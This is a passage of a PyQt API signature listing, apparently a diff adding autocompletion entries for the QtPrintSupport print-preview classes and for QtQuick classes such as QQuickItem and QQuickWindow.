+QtPrintSupport.QPrinterInfo.supportedColorModes?4() -> unknown-type +QtPrintSupport.QPrintPreviewDialog?1(QWidget parent=None, Qt.WindowFlags flags=Qt.WindowFlags()) +QtPrintSupport.QPrintPreviewDialog.__init__?1(self, QWidget parent=None, Qt.WindowFlags flags=Qt.WindowFlags()) +QtPrintSupport.QPrintPreviewDialog?1(QPrinter, QWidget parent=None, Qt.WindowFlags flags=Qt.WindowFlags()) +QtPrintSupport.QPrintPreviewDialog.__init__?1(self, QPrinter, QWidget parent=None, Qt.WindowFlags flags=Qt.WindowFlags()) +QtPrintSupport.QPrintPreviewDialog.setVisible?4(bool) +QtPrintSupport.QPrintPreviewDialog.open?4() +QtPrintSupport.QPrintPreviewDialog.open?4(object) +QtPrintSupport.QPrintPreviewDialog.printer?4() -> QPrinter +QtPrintSupport.QPrintPreviewDialog.done?4(int) +QtPrintSupport.QPrintPreviewDialog.paintRequested?4(QPrinter) +QtPrintSupport.QPrintPreviewWidget.ZoomMode?10 +QtPrintSupport.QPrintPreviewWidget.ZoomMode.CustomZoom?10 +QtPrintSupport.QPrintPreviewWidget.ZoomMode.FitToWidth?10 +QtPrintSupport.QPrintPreviewWidget.ZoomMode.FitInView?10 +QtPrintSupport.QPrintPreviewWidget.ViewMode?10 +QtPrintSupport.QPrintPreviewWidget.ViewMode.SinglePageView?10 +QtPrintSupport.QPrintPreviewWidget.ViewMode.FacingPagesView?10 +QtPrintSupport.QPrintPreviewWidget.ViewMode.AllPagesView?10 +QtPrintSupport.QPrintPreviewWidget?1(QPrinter, QWidget parent=None, Qt.WindowFlags flags=Qt.WindowFlags()) +QtPrintSupport.QPrintPreviewWidget.__init__?1(self, QPrinter, QWidget parent=None, Qt.WindowFlags flags=Qt.WindowFlags()) +QtPrintSupport.QPrintPreviewWidget?1(QWidget parent=None, Qt.WindowFlags flags=Qt.WindowFlags()) +QtPrintSupport.QPrintPreviewWidget.__init__?1(self, QWidget parent=None, Qt.WindowFlags flags=Qt.WindowFlags()) +QtPrintSupport.QPrintPreviewWidget.zoomFactor?4() -> float +QtPrintSupport.QPrintPreviewWidget.orientation?4() -> QPrinter.Orientation +QtPrintSupport.QPrintPreviewWidget.viewMode?4() -> QPrintPreviewWidget.ViewMode +QtPrintSupport.QPrintPreviewWidget.zoomMode?4() -> QPrintPreviewWidget.ZoomMode +QtPrintSupport.QPrintPreviewWidget.currentPage?4() -> int +QtPrintSupport.QPrintPreviewWidget.setVisible?4(bool) +QtPrintSupport.QPrintPreviewWidget.print_?4() +QtPrintSupport.QPrintPreviewWidget.print?4() +QtPrintSupport.QPrintPreviewWidget.zoomIn?4(float factor=1.1) +QtPrintSupport.QPrintPreviewWidget.zoomOut?4(float factor=1.1) +QtPrintSupport.QPrintPreviewWidget.setZoomFactor?4(float) +QtPrintSupport.QPrintPreviewWidget.setOrientation?4(QPrinter.Orientation) +QtPrintSupport.QPrintPreviewWidget.setViewMode?4(QPrintPreviewWidget.ViewMode) +QtPrintSupport.QPrintPreviewWidget.setZoomMode?4(QPrintPreviewWidget.ZoomMode) +QtPrintSupport.QPrintPreviewWidget.setCurrentPage?4(int) +QtPrintSupport.QPrintPreviewWidget.fitToWidth?4() +QtPrintSupport.QPrintPreviewWidget.fitInView?4() +QtPrintSupport.QPrintPreviewWidget.setLandscapeOrientation?4() +QtPrintSupport.QPrintPreviewWidget.setPortraitOrientation?4() +QtPrintSupport.QPrintPreviewWidget.setSinglePageViewMode?4() +QtPrintSupport.QPrintPreviewWidget.setFacingPagesViewMode?4() +QtPrintSupport.QPrintPreviewWidget.setAllPagesViewMode?4() +QtPrintSupport.QPrintPreviewWidget.updatePreview?4() +QtPrintSupport.QPrintPreviewWidget.paintRequested?4(QPrinter) +QtPrintSupport.QPrintPreviewWidget.previewChanged?4() +QtPrintSupport.QPrintPreviewWidget.pageCount?4() -> int +QtQuick.QQuickItem.TransformOrigin?10 +QtQuick.QQuickItem.TransformOrigin.TopLeft?10 +QtQuick.QQuickItem.TransformOrigin.Top?10 +QtQuick.QQuickItem.TransformOrigin.TopRight?10 +QtQuick.QQuickItem.TransformOrigin.Left?10 +QtQuick.QQuickItem.TransformOrigin.Center?10 +QtQuick.QQuickItem.TransformOrigin.Right?10 +QtQuick.QQuickItem.TransformOrigin.BottomLeft?10 +QtQuick.QQuickItem.TransformOrigin.Bottom?10 +QtQuick.QQuickItem.TransformOrigin.BottomRight?10 +QtQuick.QQuickItem.ItemChange?10 +QtQuick.QQuickItem.ItemChange.ItemChildAddedChange?10 +QtQuick.QQuickItem.ItemChange.ItemChildRemovedChange?10 +QtQuick.QQuickItem.ItemChange.ItemSceneChange?10 +QtQuick.QQuickItem.ItemChange.ItemVisibleHasChanged?10 +QtQuick.QQuickItem.ItemChange.ItemParentHasChanged?10 +QtQuick.QQuickItem.ItemChange.ItemOpacityHasChanged?10 +QtQuick.QQuickItem.ItemChange.ItemActiveFocusHasChanged?10 +QtQuick.QQuickItem.ItemChange.ItemRotationHasChanged?10 +QtQuick.QQuickItem.ItemChange.ItemAntialiasingHasChanged?10 +QtQuick.QQuickItem.ItemChange.ItemDevicePixelRatioHasChanged?10 +QtQuick.QQuickItem.ItemChange.ItemEnabledHasChanged?10 +QtQuick.QQuickItem.Flag?10 +QtQuick.QQuickItem.Flag.ItemClipsChildrenToShape?10 +QtQuick.QQuickItem.Flag.ItemAcceptsInputMethod?10 +QtQuick.QQuickItem.Flag.ItemIsFocusScope?10 +QtQuick.QQuickItem.Flag.ItemHasContents?10 +QtQuick.QQuickItem.Flag.ItemAcceptsDrops?10 +QtQuick.QQuickItem?1(QQuickItem parent=None) +QtQuick.QQuickItem.__init__?1(self, QQuickItem parent=None) +QtQuick.QQuickItem.window?4() -> QQuickWindow +QtQuick.QQuickItem.parentItem?4() -> QQuickItem +QtQuick.QQuickItem.setParentItem?4(QQuickItem) +QtQuick.QQuickItem.stackBefore?4(QQuickItem) +QtQuick.QQuickItem.stackAfter?4(QQuickItem) +QtQuick.QQuickItem.childrenRect?4() -> QRectF +QtQuick.QQuickItem.childItems?4() -> unknown-type +QtQuick.QQuickItem.clip?4() -> bool +QtQuick.QQuickItem.setClip?4(bool) +QtQuick.QQuickItem.state?4() -> QString +QtQuick.QQuickItem.setState?4(QString) +QtQuick.QQuickItem.baselineOffset?4() -> float +QtQuick.QQuickItem.setBaselineOffset?4(float) +QtQuick.QQuickItem.x?4() -> float +QtQuick.QQuickItem.y?4() -> float +QtQuick.QQuickItem.setX?4(float) +QtQuick.QQuickItem.setY?4(float) +QtQuick.QQuickItem.width?4() -> float +QtQuick.QQuickItem.setWidth?4(float) +QtQuick.QQuickItem.resetWidth?4() +QtQuick.QQuickItem.setImplicitWidth?4(float) +QtQuick.QQuickItem.implicitWidth?4() -> float +QtQuick.QQuickItem.height?4() -> float +QtQuick.QQuickItem.setHeight?4(float) +QtQuick.QQuickItem.resetHeight?4() +QtQuick.QQuickItem.setImplicitHeight?4(float) +QtQuick.QQuickItem.implicitHeight?4() -> float +QtQuick.QQuickItem.transformOrigin?4() -> QQuickItem.TransformOrigin +QtQuick.QQuickItem.setTransformOrigin?4(QQuickItem.TransformOrigin) +QtQuick.QQuickItem.z?4() -> float +QtQuick.QQuickItem.setZ?4(float) +QtQuick.QQuickItem.rotation?4() -> float +QtQuick.QQuickItem.setRotation?4(float) +QtQuick.QQuickItem.scale?4() -> float +QtQuick.QQuickItem.setScale?4(float) +QtQuick.QQuickItem.opacity?4() -> float +QtQuick.QQuickItem.setOpacity?4(float) +QtQuick.QQuickItem.isVisible?4() -> bool +QtQuick.QQuickItem.setVisible?4(bool) +QtQuick.QQuickItem.isEnabled?4() -> bool +QtQuick.QQuickItem.setEnabled?4(bool) +QtQuick.QQuickItem.smooth?4() -> bool +QtQuick.QQuickItem.setSmooth?4(bool) +QtQuick.QQuickItem.antialiasing?4() -> bool +QtQuick.QQuickItem.setAntialiasing?4(bool) +QtQuick.QQuickItem.flags?4() -> QQuickItem.Flags +QtQuick.QQuickItem.setFlag?4(QQuickItem.Flag, bool enabled=True) +QtQuick.QQuickItem.setFlags?4(QQuickItem.Flags) +QtQuick.QQuickItem.hasActiveFocus?4() -> bool +QtQuick.QQuickItem.hasFocus?4() -> bool +QtQuick.QQuickItem.setFocus?4(bool) +QtQuick.QQuickItem.isFocusScope?4() -> bool +QtQuick.QQuickItem.scopedFocusItem?4() -> QQuickItem +QtQuick.QQuickItem.acceptedMouseButtons?4() -> Qt.MouseButtons +QtQuick.QQuickItem.setAcceptedMouseButtons?4(Qt.MouseButtons) +QtQuick.QQuickItem.acceptHoverEvents?4() -> bool +QtQuick.QQuickItem.setAcceptHoverEvents?4(bool) +QtQuick.QQuickItem.cursor?4() -> QCursor +QtQuick.QQuickItem.setCursor?4(QCursor) +QtQuick.QQuickItem.unsetCursor?4() +QtQuick.QQuickItem.grabMouse?4() +QtQuick.QQuickItem.ungrabMouse?4() +QtQuick.QQuickItem.keepMouseGrab?4() -> bool +QtQuick.QQuickItem.setKeepMouseGrab?4(bool) +QtQuick.QQuickItem.filtersChildMouseEvents?4() -> bool +QtQuick.QQuickItem.setFiltersChildMouseEvents?4(bool) +QtQuick.QQuickItem.grabTouchPoints?4(unknown-type) +QtQuick.QQuickItem.ungrabTouchPoints?4() +QtQuick.QQuickItem.keepTouchGrab?4() -> bool +QtQuick.QQuickItem.setKeepTouchGrab?4(bool) +QtQuick.QQuickItem.contains?4(QPointF) -> bool +QtQuick.QQuickItem.mapToItem?4(QQuickItem, QPointF) -> QPointF +QtQuick.QQuickItem.mapToScene?4(QPointF) -> QPointF +QtQuick.QQuickItem.mapRectToItem?4(QQuickItem, QRectF) -> QRectF +QtQuick.QQuickItem.mapRectToScene?4(QRectF) -> QRectF +QtQuick.QQuickItem.mapFromItem?4(QQuickItem, QPointF) -> QPointF +QtQuick.QQuickItem.mapFromScene?4(QPointF) -> QPointF +QtQuick.QQuickItem.mapRectFromItem?4(QQuickItem, QRectF) -> QRectF +QtQuick.QQuickItem.mapRectFromScene?4(QRectF) -> QRectF +QtQuick.QQuickItem.polish?4() +QtQuick.QQuickItem.forceActiveFocus?4() +QtQuick.QQuickItem.childAt?4(float, float) -> QQuickItem +QtQuick.QQuickItem.inputMethodQuery?4(Qt.InputMethodQuery) -> QVariant +QtQuick.QQuickItem.isTextureProvider?4() -> bool +QtQuick.QQuickItem.textureProvider?4() -> QSGTextureProvider +QtQuick.QQuickItem.update?4() +QtQuick.QQuickItem.event?4(QEvent) -> bool +QtQuick.QQuickItem.isComponentComplete?4() -> bool +QtQuick.QQuickItem.itemChange?4(QQuickItem.ItemChange, QQuickItem.ItemChangeData) +QtQuick.QQuickItem.updateInputMethod?4(Qt.InputMethodQueries queries=Qt.InputMethodQuery.ImQueryInput) +QtQuick.QQuickItem.widthValid?4() -> bool +QtQuick.QQuickItem.heightValid?4() -> bool +QtQuick.QQuickItem.classBegin?4() +QtQuick.QQuickItem.componentComplete?4() +QtQuick.QQuickItem.keyPressEvent?4(QKeyEvent) +QtQuick.QQuickItem.keyReleaseEvent?4(QKeyEvent) +QtQuick.QQuickItem.inputMethodEvent?4(QInputMethodEvent) +QtQuick.QQuickItem.focusInEvent?4(QFocusEvent) +QtQuick.QQuickItem.focusOutEvent?4(QFocusEvent) +QtQuick.QQuickItem.mousePressEvent?4(QMouseEvent) +QtQuick.QQuickItem.mouseMoveEvent?4(QMouseEvent) +QtQuick.QQuickItem.mouseReleaseEvent?4(QMouseEvent) +QtQuick.QQuickItem.mouseDoubleClickEvent?4(QMouseEvent) +QtQuick.QQuickItem.mouseUngrabEvent?4() +QtQuick.QQuickItem.touchUngrabEvent?4() +QtQuick.QQuickItem.wheelEvent?4(QWheelEvent) +QtQuick.QQuickItem.touchEvent?4(QTouchEvent) +QtQuick.QQuickItem.hoverEnterEvent?4(QHoverEvent) +QtQuick.QQuickItem.hoverMoveEvent?4(QHoverEvent) +QtQuick.QQuickItem.hoverLeaveEvent?4(QHoverEvent) +QtQuick.QQuickItem.dragEnterEvent?4(QDragEnterEvent) +QtQuick.QQuickItem.dragMoveEvent?4(QDragMoveEvent) +QtQuick.QQuickItem.dragLeaveEvent?4(QDragLeaveEvent) +QtQuick.QQuickItem.dropEvent?4(QDropEvent) +QtQuick.QQuickItem.childMouseEventFilter?4(QQuickItem, QEvent) -> bool +QtQuick.QQuickItem.geometryChanged?4(QRectF, QRectF) +QtQuick.QQuickItem.updatePaintNode?4(QSGNode, QQuickItem.UpdatePaintNodeData) -> QSGNode +QtQuick.QQuickItem.releaseResources?4() +QtQuick.QQuickItem.updatePolish?4() +QtQuick.QQuickItem.activeFocusOnTab?4() -> bool +QtQuick.QQuickItem.setActiveFocusOnTab?4(bool) +QtQuick.QQuickItem.setFocus?4(bool, Qt.FocusReason) +QtQuick.QQuickItem.forceActiveFocus?4(Qt.FocusReason) +QtQuick.QQuickItem.nextItemInFocusChain?4(bool forward=True) -> QQuickItem +QtQuick.QQuickItem.windowChanged?4(QQuickWindow) +QtQuick.QQuickItem.resetAntialiasing?4() +QtQuick.QQuickItem.grabToImage?4(QSize targetSize=QSize()) -> QQuickItemGrabResult +QtQuick.QQuickItem.isAncestorOf?4(QQuickItem) -> bool +QtQuick.QQuickItem.mapToGlobal?4(QPointF) -> QPointF +QtQuick.QQuickItem.mapFromGlobal?4(QPointF) -> QPointF +QtQuick.QQuickItem.size?4() -> QSizeF +QtQuick.QQuickItem.acceptTouchEvents?4() -> bool +QtQuick.QQuickItem.setAcceptTouchEvents?4(bool) +QtQuick.QQuickItem.containmentMask?4() -> QObject +QtQuick.QQuickItem.setContainmentMask?4(QObject) +QtQuick.QQuickItem.containmentMaskChanged?4() +QtQuick.QQuickFramebufferObject?1(QQuickItem parent=None) +QtQuick.QQuickFramebufferObject.__init__?1(self, QQuickItem parent=None) +QtQuick.QQuickFramebufferObject.textureFollowsItemSize?4() -> bool +QtQuick.QQuickFramebufferObject.setTextureFollowsItemSize?4(bool) +QtQuick.QQuickFramebufferObject.createRenderer?4() -> QQuickFramebufferObject.Renderer +QtQuick.QQuickFramebufferObject.geometryChanged?4(QRectF, QRectF) +QtQuick.QQuickFramebufferObject.updatePaintNode?4(QSGNode, QQuickItem.UpdatePaintNodeData) -> QSGNode +QtQuick.QQuickFramebufferObject.textureFollowsItemSizeChanged?4(bool) +QtQuick.QQuickFramebufferObject.isTextureProvider?4() -> bool +QtQuick.QQuickFramebufferObject.textureProvider?4() -> QSGTextureProvider +QtQuick.QQuickFramebufferObject.releaseResources?4() +QtQuick.QQuickFramebufferObject.mirrorVertically?4() -> bool +QtQuick.QQuickFramebufferObject.setMirrorVertically?4(bool) +QtQuick.QQuickFramebufferObject.mirrorVerticallyChanged?4(bool) +QtQuick.QQuickFramebufferObject.Renderer?1() +QtQuick.QQuickFramebufferObject.Renderer.__init__?1(self) +QtQuick.QQuickFramebufferObject.Renderer?1(QQuickFramebufferObject.Renderer) +QtQuick.QQuickFramebufferObject.Renderer.__init__?1(self, QQuickFramebufferObject.Renderer) +QtQuick.QQuickFramebufferObject.Renderer.render?4() +QtQuick.QQuickFramebufferObject.Renderer.createFramebufferObject?4(QSize) -> QOpenGLFramebufferObject +QtQuick.QQuickFramebufferObject.Renderer.synchronize?4(QQuickFramebufferObject) +QtQuick.QQuickFramebufferObject.Renderer.framebufferObject?4() -> QOpenGLFramebufferObject +QtQuick.QQuickFramebufferObject.Renderer.update?4() +QtQuick.QQuickFramebufferObject.Renderer.invalidateFramebufferObject?4() +QtQuick.QQuickTextureFactory?1() +QtQuick.QQuickTextureFactory.__init__?1(self) +QtQuick.QQuickTextureFactory.createTexture?4(QQuickWindow) -> QSGTexture +QtQuick.QQuickTextureFactory.textureSize?4() -> QSize +QtQuick.QQuickTextureFactory.textureByteCount?4() -> int +QtQuick.QQuickTextureFactory.image?4() -> QImage +QtQuick.QQuickTextureFactory.textureFactoryForImage?4(QImage) -> QQuickTextureFactory +QtQuick.QQuickImageProvider?1(QQmlImageProviderBase.ImageType, QQmlImageProviderBase.Flags flags=QQmlImageProviderBase.Flags()) +QtQuick.QQuickImageProvider.__init__?1(self, QQmlImageProviderBase.ImageType, QQmlImageProviderBase.Flags flags=QQmlImageProviderBase.Flags()) +QtQuick.QQuickImageProvider?1(QQuickImageProvider) +QtQuick.QQuickImageProvider.__init__?1(self, QQuickImageProvider) +QtQuick.QQuickImageProvider.imageType?4() -> QQmlImageProviderBase.ImageType +QtQuick.QQuickImageProvider.flags?4() -> QQmlImageProviderBase.Flags +QtQuick.QQuickImageProvider.requestImage?4(QString, QSize) -> (QImage, QSize) +QtQuick.QQuickImageProvider.requestPixmap?4(QString, QSize) -> (QPixmap, QSize) +QtQuick.QQuickImageProvider.requestTexture?4(QString, QSize) -> (QQuickTextureFactory, QSize) +QtQuick.QQuickImageResponse?1() +QtQuick.QQuickImageResponse.__init__?1(self) +QtQuick.QQuickImageResponse.textureFactory?4() -> QQuickTextureFactory +QtQuick.QQuickImageResponse.errorString?4() -> QString +QtQuick.QQuickImageResponse.cancel?4() +QtQuick.QQuickImageResponse.finished?4() +QtQuick.QQuickAsyncImageProvider?1() +QtQuick.QQuickAsyncImageProvider.__init__?1(self) +QtQuick.QQuickAsyncImageProvider?1(QQuickAsyncImageProvider) +QtQuick.QQuickAsyncImageProvider.__init__?1(self, QQuickAsyncImageProvider) +QtQuick.QQuickAsyncImageProvider.requestImageResponse?4(QString, QSize) -> QQuickImageResponse +QtQuick.QQuickItem.Flags?1() +QtQuick.QQuickItem.Flags.__init__?1(self) +QtQuick.QQuickItem.Flags?1(int) +QtQuick.QQuickItem.Flags.__init__?1(self, int) +QtQuick.QQuickItem.Flags?1(QQuickItem.Flags) +QtQuick.QQuickItem.Flags.__init__?1(self, QQuickItem.Flags) +QtQuick.QQuickItem.ItemChangeData.boolValue?7 +QtQuick.QQuickItem.ItemChangeData.item?7 +QtQuick.QQuickItem.ItemChangeData.realValue?7 +QtQuick.QQuickItem.ItemChangeData.window?7 +QtQuick.QQuickItem.ItemChangeData?1(QQuickItem) +QtQuick.QQuickItem.ItemChangeData.__init__?1(self, QQuickItem) +QtQuick.QQuickItem.ItemChangeData?1(QQuickWindow) +QtQuick.QQuickItem.ItemChangeData.__init__?1(self, QQuickWindow) +QtQuick.QQuickItem.ItemChangeData?1(float) +QtQuick.QQuickItem.ItemChangeData.__init__?1(self, float) +QtQuick.QQuickItem.ItemChangeData?1(bool) +QtQuick.QQuickItem.ItemChangeData.__init__?1(self, bool) +QtQuick.QQuickItem.ItemChangeData?1(QQuickItem.ItemChangeData) +QtQuick.QQuickItem.ItemChangeData.__init__?1(self, QQuickItem.ItemChangeData) +QtQuick.QQuickItem.UpdatePaintNodeData.transformNode?7 +QtQuick.QQuickItem.UpdatePaintNodeData?1(QQuickItem.UpdatePaintNodeData) +QtQuick.QQuickItem.UpdatePaintNodeData.__init__?1(self, QQuickItem.UpdatePaintNodeData) +QtQuick.QQuickItemGrabResult.image?4() -> QImage +QtQuick.QQuickItemGrabResult.url?4() -> QUrl +QtQuick.QQuickItemGrabResult.saveToFile?4(QString) -> bool +QtQuick.QQuickItemGrabResult.event?4(QEvent) -> bool +QtQuick.QQuickItemGrabResult.ready?4() +QtQuick.QQuickPaintedItem.PerformanceHint?10 +QtQuick.QQuickPaintedItem.PerformanceHint.FastFBOResizing?10 +QtQuick.QQuickPaintedItem.RenderTarget?10 +QtQuick.QQuickPaintedItem.RenderTarget.Image?10 +QtQuick.QQuickPaintedItem.RenderTarget.FramebufferObject?10 +QtQuick.QQuickPaintedItem.RenderTarget.InvertedYFramebufferObject?10 +QtQuick.QQuickPaintedItem?1(QQuickItem parent=None) +QtQuick.QQuickPaintedItem.__init__?1(self, QQuickItem parent=None) +QtQuick.QQuickPaintedItem.update?4(QRect rect=QRect()) +QtQuick.QQuickPaintedItem.opaquePainting?4() -> bool +QtQuick.QQuickPaintedItem.setOpaquePainting?4(bool) +QtQuick.QQuickPaintedItem.antialiasing?4() -> bool +QtQuick.QQuickPaintedItem.setAntialiasing?4(bool) +QtQuick.QQuickPaintedItem.mipmap?4() -> bool +QtQuick.QQuickPaintedItem.setMipmap?4(bool) +QtQuick.QQuickPaintedItem.performanceHints?4() -> QQuickPaintedItem.PerformanceHints +QtQuick.QQuickPaintedItem.setPerformanceHint?4(QQuickPaintedItem.PerformanceHint, bool enabled=True) +QtQuick.QQuickPaintedItem.setPerformanceHints?4(QQuickPaintedItem.PerformanceHints) +QtQuick.QQuickPaintedItem.contentsBoundingRect?4() -> QRectF +QtQuick.QQuickPaintedItem.contentsSize?4() -> QSize +QtQuick.QQuickPaintedItem.setContentsSize?4(QSize) +QtQuick.QQuickPaintedItem.resetContentsSize?4() +QtQuick.QQuickPaintedItem.contentsScale?4() -> float +QtQuick.QQuickPaintedItem.setContentsScale?4(float) +QtQuick.QQuickPaintedItem.fillColor?4() -> QColor +QtQuick.QQuickPaintedItem.setFillColor?4(QColor) +QtQuick.QQuickPaintedItem.renderTarget?4() -> QQuickPaintedItem.RenderTarget +QtQuick.QQuickPaintedItem.setRenderTarget?4(QQuickPaintedItem.RenderTarget) +QtQuick.QQuickPaintedItem.paint?4(QPainter) +QtQuick.QQuickPaintedItem.fillColorChanged?4() +QtQuick.QQuickPaintedItem.contentsSizeChanged?4() +QtQuick.QQuickPaintedItem.contentsScaleChanged?4() +QtQuick.QQuickPaintedItem.renderTargetChanged?4() +QtQuick.QQuickPaintedItem.updatePaintNode?4(QSGNode, QQuickItem.UpdatePaintNodeData) -> QSGNode +QtQuick.QQuickPaintedItem.isTextureProvider?4() -> bool +QtQuick.QQuickPaintedItem.textureProvider?4() -> QSGTextureProvider +QtQuick.QQuickPaintedItem.releaseResources?4() +QtQuick.QQuickPaintedItem.itemChange?4(QQuickItem.ItemChange, QQuickItem.ItemChangeData) +QtQuick.QQuickPaintedItem.textureSize?4() -> QSize +QtQuick.QQuickPaintedItem.setTextureSize?4(QSize) +QtQuick.QQuickPaintedItem.textureSizeChanged?4() +QtQuick.QQuickPaintedItem.PerformanceHints?1() +QtQuick.QQuickPaintedItem.PerformanceHints.__init__?1(self) +QtQuick.QQuickPaintedItem.PerformanceHints?1(int) +QtQuick.QQuickPaintedItem.PerformanceHints.__init__?1(self, int) +QtQuick.QQuickPaintedItem.PerformanceHints?1(QQuickPaintedItem.PerformanceHints) +QtQuick.QQuickPaintedItem.PerformanceHints.__init__?1(self, QQuickPaintedItem.PerformanceHints) +QtQuick.QQuickRenderControl?1(QObject parent=None) +QtQuick.QQuickRenderControl.__init__?1(self, QObject parent=None) +QtQuick.QQuickRenderControl.initialize?4(QOpenGLContext) +QtQuick.QQuickRenderControl.invalidate?4() +QtQuick.QQuickRenderControl.polishItems?4() +QtQuick.QQuickRenderControl.render?4() +QtQuick.QQuickRenderControl.sync?4() -> bool +QtQuick.QQuickRenderControl.grab?4() -> QImage +QtQuick.QQuickRenderControl.renderWindowFor?4(QQuickWindow, QPoint offset=None) -> QWindow +QtQuick.QQuickRenderControl.renderWindow?4(QPoint) -> QWindow +QtQuick.QQuickRenderControl.prepareThread?4(QThread) +QtQuick.QQuickRenderControl.renderRequested?4() +QtQuick.QQuickRenderControl.sceneChanged?4() +QtQuick.QQuickTextDocument?1(QQuickItem) +QtQuick.QQuickTextDocument.__init__?1(self, QQuickItem) +QtQuick.QQuickTextDocument.textDocument?4() -> QTextDocument +QtQuick.QQuickWindow.NativeObjectType?10 +QtQuick.QQuickWindow.NativeObjectType.NativeObjectTexture?10 +QtQuick.QQuickWindow.TextRenderType?10 +QtQuick.QQuickWindow.TextRenderType.QtTextRendering?10 +QtQuick.QQuickWindow.TextRenderType.NativeTextRendering?10 +QtQuick.QQuickWindow.RenderStage?10 +QtQuick.QQuickWindow.RenderStage.BeforeSynchronizingStage?10 +QtQuick.QQuickWindow.RenderStage.AfterSynchronizingStage?10 +QtQuick.QQuickWindow.RenderStage.BeforeRenderingStage?10 +QtQuick.QQuickWindow.RenderStage.AfterRenderingStage?10 +QtQuick.QQuickWindow.RenderStage.AfterSwapStage?10 +QtQuick.QQuickWindow.RenderStage.NoStage?10 +QtQuick.QQuickWindow.SceneGraphError?10 +QtQuick.QQuickWindow.SceneGraphError.ContextNotAvailable?10 +QtQuick.QQuickWindow.CreateTextureOption?10 +QtQuick.QQuickWindow.CreateTextureOption.TextureHasAlphaChannel?10 +QtQuick.QQuickWindow.CreateTextureOption.TextureHasMipmaps?10 +QtQuick.QQuickWindow.CreateTextureOption.TextureOwnsGLTexture?10 +QtQuick.QQuickWindow.CreateTextureOption.TextureCanUseAtlas?10 +QtQuick.QQuickWindow.CreateTextureOption.TextureIsOpaque?10 +QtQuick.QQuickWindow?1(QWindow parent=None) +QtQuick.QQuickWindow.__init__?1(self, QWindow parent=None) +QtQuick.QQuickWindow.contentItem?4() -> QQuickItem +QtQuick.QQuickWindow.activeFocusItem?4() -> QQuickItem +QtQuick.QQuickWindow.focusObject?4() -> QObject +QtQuick.QQuickWindow.mouseGrabberItem?4() -> QQuickItem +QtQuick.QQuickWindow.sendEvent?4(QQuickItem, QEvent) -> bool +QtQuick.QQuickWindow.grabWindow?4() -> QImage +QtQuick.QQuickWindow.setRenderTarget?4(QOpenGLFramebufferObject) +QtQuick.QQuickWindow.renderTarget?4() -> QOpenGLFramebufferObject +QtQuick.QQuickWindow.setRenderTarget?4(int, QSize) +QtQuick.QQuickWindow.renderTargetId?4() -> int +QtQuick.QQuickWindow.renderTargetSize?4() -> QSize +QtQuick.QQuickWindow.incubationController?4() -> QQmlIncubationController +QtQuick.QQuickWindow.createTextureFromImage?4(QImage) -> QSGTexture +QtQuick.QQuickWindow.createTextureFromImage?4(QImage, QQuickWindow.CreateTextureOptions) -> QSGTexture +QtQuick.QQuickWindow.createTextureFromId?4(int, QSize, QQuickWindow.CreateTextureOptions options=QQuickWindow.CreateTextureOption()) -> QSGTexture +QtQuick.QQuickWindow.createTextureFromNativeObject?4(QQuickWindow.NativeObjectType, sip.voidptr, int, QSize, QQuickWindow.CreateTextureOptions options=QQuickWindow.CreateTextureOption()) -> QSGTexture +QtQuick.QQuickWindow.setClearBeforeRendering?4(bool) +QtQuick.QQuickWindow.clearBeforeRendering?4() -> bool +QtQuick.QQuickWindow.setColor?4(QColor) +QtQuick.QQuickWindow.color?4() -> QColor +QtQuick.QQuickWindow.setPersistentOpenGLContext?4(bool) +QtQuick.QQuickWindow.isPersistentOpenGLContext?4() -> bool +QtQuick.QQuickWindow.setPersistentSceneGraph?4(bool) +QtQuick.QQuickWindow.isPersistentSceneGraph?4() -> bool +QtQuick.QQuickWindow.openglContext?4() -> QOpenGLContext +QtQuick.QQuickWindow.frameSwapped?4() +QtQuick.QQuickWindow.sceneGraphInitialized?4() +QtQuick.QQuickWindow.sceneGraphInvalidated?4() +QtQuick.QQuickWindow.beforeSynchronizing?4() +QtQuick.QQuickWindow.beforeRendering?4() +QtQuick.QQuickWindow.afterRendering?4() +QtQuick.QQuickWindow.colorChanged?4(QColor) +QtQuick.QQuickWindow.update?4() +QtQuick.QQuickWindow.releaseResources?4() +QtQuick.QQuickWindow.exposeEvent?4(QExposeEvent) +QtQuick.QQuickWindow.resizeEvent?4(QResizeEvent) +QtQuick.QQuickWindow.showEvent?4(QShowEvent) +QtQuick.QQuickWindow.hideEvent?4(QHideEvent) +QtQuick.QQuickWindow.focusInEvent?4(QFocusEvent) +QtQuick.QQuickWindow.focusOutEvent?4(QFocusEvent) +QtQuick.QQuickWindow.event?4(QEvent) -> bool +QtQuick.QQuickWindow.keyPressEvent?4(QKeyEvent) +QtQuick.QQuickWindow.keyReleaseEvent?4(QKeyEvent) +QtQuick.QQuickWindow.mousePressEvent?4(QMouseEvent) +QtQuick.QQuickWindow.mouseReleaseEvent?4(QMouseEvent) +QtQuick.QQuickWindow.mouseDoubleClickEvent?4(QMouseEvent) +QtQuick.QQuickWindow.mouseMoveEvent?4(QMouseEvent) +QtQuick.QQuickWindow.wheelEvent?4(QWheelEvent) +QtQuick.QQuickWindow.tabletEvent?4(QTabletEvent) +QtQuick.QQuickWindow.hasDefaultAlphaBuffer?4() -> bool +QtQuick.QQuickWindow.setDefaultAlphaBuffer?4(bool) +QtQuick.QQuickWindow.closing?4(QQuickCloseEvent) +QtQuick.QQuickWindow.activeFocusItemChanged?4() +QtQuick.QQuickWindow.resetOpenGLState?4() +QtQuick.QQuickWindow.openglContextCreated?4(QOpenGLContext) +QtQuick.QQuickWindow.afterSynchronizing?4() +QtQuick.QQuickWindow.afterAnimating?4() +QtQuick.QQuickWindow.sceneGraphAboutToStop?4() +QtQuick.QQuickWindow.sceneGraphError?4(QQuickWindow.SceneGraphError, QString) +QtQuick.QQuickWindow.scheduleRenderJob?4(QRunnable, QQuickWindow.RenderStage) +QtQuick.QQuickWindow.effectiveDevicePixelRatio?4() -> float +QtQuick.QQuickWindow.isSceneGraphInitialized?4() -> bool +QtQuick.QQuickWindow.rendererInterface?4() -> QSGRendererInterface +QtQuick.QQuickWindow.setSceneGraphBackend?4(QSGRendererInterface.GraphicsApi) +QtQuick.QQuickWindow.setSceneGraphBackend?4(QString) +QtQuick.QQuickWindow.createRectangleNode?4() -> QSGRectangleNode +QtQuick.QQuickWindow.createImageNode?4() -> QSGImageNode +QtQuick.QQuickWindow.sceneGraphBackend?4() -> QString +QtQuick.QQuickWindow.textRenderType?4() -> QQuickWindow.TextRenderType +QtQuick.QQuickWindow.setTextRenderType?4(QQuickWindow.TextRenderType) +QtQuick.QQuickWindow.beginExternalCommands?4() +QtQuick.QQuickWindow.endExternalCommands?4() +QtQuick.QQuickWindow.beforeRenderPassRecording?4() +QtQuick.QQuickWindow.afterRenderPassRecording?4() 